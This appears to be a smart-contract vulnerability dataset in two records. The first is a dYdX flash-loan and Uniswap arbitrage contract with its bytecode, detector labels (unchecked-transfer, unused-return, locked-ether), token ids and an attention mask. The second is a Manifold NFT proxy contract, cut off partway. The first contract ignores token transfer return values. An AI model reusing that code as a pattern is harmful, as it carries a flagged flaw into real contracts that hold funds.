Account.Info liquidAccount; uint256 owedMarket; uint256 heldMarket; } struct VaporizeArgs { Types.AssetAmount amount; Account.Info solidAccount; Account.Info vaporAccount; uint256 owedMarket; uint256 heldMarket; } struct CallArgs { Account.Info account; address callee; bytes data; } } library Decimal { struct D256 { uint256 value; } } library Interest { struct Rate { uint256 value; } struct Index { uint96 borrow; uint96 supply; uint32 lastUpdate; } } library Monetary { struct Price { uint256 value; } struct Value { uint256 value; } } library Storage { // All information necessary for tracking a market struct Market { // Contract address of the associated ERC20 token address token; // Total aggregated supply and borrow amount of the entire market Types.TotalPar totalPar; // Interest index of the market Interest.Index index; // Contract address of the price oracle for this market address priceOracle; // Contract address of the interest setter for this market address interestSetter; // Multiplier on the marginRatio for this market Decimal.D256 marginPremium; // Multiplier on the liquidationSpread for this market Decimal.D256 spreadPremium; // Whether additional borrows are allowed for this market bool isClosing; } // The global risk parameters that govern the health and security of the system struct RiskParams { // Required ratio of over-collateralization Decimal.D256 marginRatio; // Percentage penalty incurred by liquidated accounts Decimal.D256 liquidationSpread; // Percentage of the borrower's interest fee that gets passed to the suppliers Decimal.D256 earningsRate; // The minimum absolute borrow value of an account // There must be sufficient incentivize to liquidate undercollateralized accounts Monetary.Value minBorrowedValue; } // The maximum RiskParam values that can be set struct RiskLimits { uint64 marginRatioMax; uint64 liquidationSpreadMax; uint64 earningsRateMax; uint64 marginPremiumMax; uint64 spreadPremiumMax; uint128 minBorrowedValueMax; } // The entire storage state of Solo struct State { // number of markets uint256 numMarkets; // marketId => Market mapping(uint256 => Market) markets; // owner => account number => Account mapping(address => mapping(uint256 => Account.Storage)) accounts; // Addresses that can control other users accounts mapping(address => mapping(address => bool)) operators; // Addresses that can control all users accounts mapping(address => bool) globalOperators; // mutable risk parameters of the system RiskParams riskParams; // immutable risk limits of the system RiskLimits riskLimits; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } struct TotalPar { uint128 borrow; uint128 supply; } struct Par { bool sign; // true if positive uint128 value; } struct Wei { bool sign; // true if positive uint256 value; } } contract ISoloMargin { struct OperatorArg { address operator; bool trusted; } function ownerSetSpreadPremium( uint256 marketId, Decimal.D256 memory spreadPremium ) public; function getIsGlobalOperator(address operator) public view returns (bool); function getMarketTokenAddress(uint256 marketId) public view returns (address); function ownerSetInterestSetter(uint256 marketId, address interestSetter) public; function getAccountValues(Account.Info memory account) public view returns (Monetary.Value memory, Monetary.Value memory); function getMarketPriceOracle(uint256 marketId) public view returns (address); function getMarketInterestSetter(uint256 marketId) public view returns (address); function getMarketSpreadPremium(uint256 marketId) public view returns (Decimal.D256 memory); function getNumMarkets() public view returns (uint256); function ownerWithdrawUnsupportedTokens(address token, address recipient) public returns (uint256); function ownerSetMinBorrowedValue(Monetary.Value memory minBorrowedValue) public; function ownerSetLiquidationSpread(Decimal.D256 memory spread) public; function ownerSetEarningsRate(Decimal.D256 memory earningsRate) public; function getIsLocalOperator(address owner, address operator) public view returns (bool); function getAccountPar(Account.Info memory account, uint256 marketId) public view returns (Types.Par memory); function ownerSetMarginPremium( uint256 marketId, Decimal.D256 memory marginPremium ) public; function getMarginRatio() public view returns (Decimal.D256 memory); function getMarketCurrentIndex(uint256 marketId) public view returns (Interest.Index memory); function getMarketIsClosing(uint256 marketId) public view returns (bool); function getRiskParams() public view returns (Storage.RiskParams memory); function getAccountBalances(Account.Info memory account) public view returns (address[] memory, Types.Par[] memory, Types.Wei[] memory); function renounceOwnership() public; function getMinBorrowedValue() public view returns (Monetary.Value memory); function setOperators(OperatorArg[] memory args) public; function getMarketPrice(uint256 marketId) public view returns (address); function owner() public view returns (address); function isOwner() public view returns (bool); function ownerWithdrawExcessTokens(uint256 marketId, address recipient) public returns (uint256); function ownerAddMarket( address token, address priceOracle, address interestSetter, Decimal.D256 memory marginPremium, Decimal.D256 memory spreadPremium ) public; function operate( Account.Info[] memory accounts, Actions.ActionArgs[] memory actions ) public; function getMarketWithInfo(uint256 marketId) public view returns ( Storage.Market memory, Interest.Index memory, Monetary.Price memory, Interest.Rate memory ); function ownerSetMarginRatio(Decimal.D256 memory ratio) public; function getLiquidationSpread() public view returns (Decimal.D256 memory); function getAccountWei(Account.Info memory account, uint256 marketId) public view returns (Types.Wei memory); function getMarketTotalPar(uint256 marketId) public view returns (Types.TotalPar memory); function getLiquidationSpreadForPair( uint256 heldMarketId, uint256 owedMarketId ) public view returns (Decimal.D256 memory); function getNumExcessTokens(uint256 marketId) public view returns (Types.Wei memory); function getMarketCachedIndex(uint256 marketId) public view returns (Interest.Index memory); function getAccountStatus(Account.Info memory account) public view returns (uint8); function getEarningsRate() public view returns (Decimal.D256 memory); function ownerSetPriceOracle(uint256 marketId, address priceOracle) public; function getRiskLimits() public view returns (Storage.RiskLimits memory); function getMarket(uint256 marketId) public view returns (Storage.Market memory); function ownerSetIsClosing(uint256 marketId, bool isClosing) public; function ownerSetGlobalOperator(address operator, bool approved) public; function transferOwnership(address newOwner) public; function getAdjustedAccountValues(Account.Info memory account) public view returns (Monetary.Value memory, Monetary.Value memory); function getMarketMarginPremium(uint256 marketId) public view returns (Decimal.D256 memory); function getMarketInterestRate(uint256 marketId) public view returns (Interest.Rate memory); } // File: @studydefi/money-legos/dydx/contracts/DydxFlashloanBase.sol pragma solidity ^0.5.7; //pragma experimental ABIEncoderV2; contract DydxFlashloanBase { using SafeMath for uint256; // -- Internal Helper functions -- // function _getMarketIdFromTokenAddress(address _solo, address token) internal view returns (uint256) { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("No marketId found for provided token"); } function _getRepaymentAmountInternal(uint256 amount) internal view returns (uint256) { // Needs to be overcollateralize // Needs to provide +2 wei to be safe return amount.add(2); } function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } } // File: @studydefi/money-legos/dydx/contracts/ICallee.sol pragma solidity ^0.5.7; //pragma experimental ABIEncoderV2; /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ contract ICallee { // ============ Public Functions ============ /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) public; } // File: contracts/IUniswapV2Router01.sol pragma solidity ^0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/IUniswapV2Router02.sol pragma solidity ^0.5.0; contract IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: contracts/IWeth.sol // Copyright (C) 2015, 2016, 2017, 2019 Dapphub // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.5.0; interface IWeth { function deposit() external payable; function withdraw(uint wad) external; function balanceOf(address owner) external view returns(uint); } // File: contracts/MoneyPrinter.sol pragma solidity ^0.5.0; //pragma experimental ABIEncoderV2; contract MoneyPrinter is ICallee, DydxFlashloanBase { address uni_addr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; //address solo_addr = 0x4EC3570cADaAEE08Ae384779B0f3A45EF85289DE; // kovan //address weth_addr = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; // kovan //address dai_addr = 0xFf795577d9AC8bD7D90Ee22b6C1703490b6512FD; // kovan address solo_addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; address weth_addr = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address dai_addr = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address usdc_addr = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; IUniswapV2Router02 uni = IUniswapV2Router02(uni_addr); ISoloMargin solo = ISoloMargin(solo_addr); address owner = 0xF18Cd3D704678aF0edc5D612bE098D15a2dd4D8E; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function setOwner(address _o) onlyOwner external { owner = _o; } function printMoney( address tokenIn, uint256 amountIn, uint256 amountOutMin, address[] calldata path, uint256 deadline ) onlyOwner external { IERC20 erc20 = IERC20(tokenIn); erc20.transferFrom(msg.sender, address(this), amountIn); erc20.approve(uni_addr, amountIn); // usdt -1 six decimal would fail! uni.swapExactTokensForTokens(amountIn, amountOutMin, path, msg.sender, deadline); } // This is the function that will be called postLoan // i.e. Encode the logic to handle your flashloaned funds here function callFunction( address sender, Account.Info memory account, bytes memory data ) public { (address tokenIn, uint amountIn, address[] memory path) = abi.decode(data, (address, uint256, address[])); IERC20(tokenIn).approve(uni_addr, amountIn); uni.swapExactTokensForTokens(amountIn, amountIn, path, address(this), now + 5 minutes); uint256 repayAmount = amountIn + 2; uint256 balance = IERC20(tokenIn).balanceOf(address(this)); require( IERC20(tokenIn).balanceOf(address(this)) >= repayAmount, "Not enough funds to repay dydx loan!" ); uint profit = IERC20(tokenIn).balanceOf(address(this)) - repayAmount; IERC20(tokenIn).transfer(owner, profit); } function flashPrintMoney( address tokenIn, uint256 amountIn, address[] calldata path ) onlyOwner external { // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(solo_addr, tokenIn); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(amountIn); IERC20(tokenIn).approve(solo_addr, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, amountIn); operations[1] = _getCallAction( abi.encode(tokenIn, amountIn, path) ); operations[2] = _getDepositAction(marketId, repayAmount); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); solo.operate(accountInfos, operations); } function() external payable {} }
0x739650b184039b89a95da2eacd003253243729c11330146080604052600080fdfea365627a7a7231582004a3f3e50af5a27b11f378f2ff78e74c51b28e4c4806412fae7b8b7dfbf68a4b6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26187, 2692, 2497, 15136, 12740, 23499, 2497, 2620, 2683, 2050, 2683, 2629, 2850, 2475, 5243, 19797, 8889, 16703, 22275, 18827, 24434, 24594, 2278, 14526, 2509, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 5248, 1999, 2152, 2504, 4730, 4155, 1012, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,163
0x9650c4d26b0e8668e79c1d38e6be57d2cc729ace
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: LO UNIVERSE /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▓▓▓▓▓▒▒▒▓▓▓▓▓▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▒░░░░░░░░░░░░░░░▒▓▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓█▒░░░░░░▒▓▒███▒▓▓▒░░░░░▒▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░███▓▓▒▒░░░░░░░░░░░▒█▒░░▒▒░██▒██▓███▒████░░▓▒░░▒█▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░▓▓▓▒▒▓▓▓▓▒░░░░░▓▓░░░▒██▓▓█▒██▒███▒████▒███▒░░░▓█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░▒▓▓▒░░▒▓▓▓▓█▓░░░░████▓█▒██▒██░░██▒█▒████░▓░░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▓░░░▓█░░█▒▒█▒██▓█▒██▒██░░██▒█▒██▓█▒██▒░▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓█▒░▒█▒▒█▒██▒█▓██▒██▒░██▓█▒██▒▓▒██▓░░█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▓░▒█▒▒█▒██▒█▓██▒███░████░▓██░░█▓░░░█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█░░▒█▒▒█▒██▒█▓██▒███░████░░██▓░██▒░░█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░░▒█▒▒█▒██░████▒██░░██▒█▒░░██▒██▒░░█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓░▒█▒▒█▒██░███▓▒██░░██▒█▒██▓█▒█▓░░▒█░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█░▒█▓▓█▒██░███▓▒██░░██▒█▒██▒█▒██▓░█▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▓██▓████░███▓▒██▓▒██▒█▒████▒██▓█▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░█▓▒░▓██▒░███▒▒███▒██▒█▒▓██▓░▒▒█▒▒▓▓▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒█▒░▒▒░░▓██▒▒███▒██▒▓▒░▒▒░▒██▓▒▒░░▒▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▒░░░░░░░░░░░░░░░░░░▓█▒░░░░▒▓▓▓▒▒▒▒▓▓▒░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▓▓▓▒▒░░░░░░░░▒▓▓▓▒░░░░░░░░░░░░▒▓▓▓▓██▓░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▓▓▓▓▓▒▒▒░░░░░░░░░░░░░░░░░░░░░░▒▒▒░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract LOVERSE is ERC721Creator { constructor() ERC721Creator("LO UNIVERSE", "LOVERSE") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) 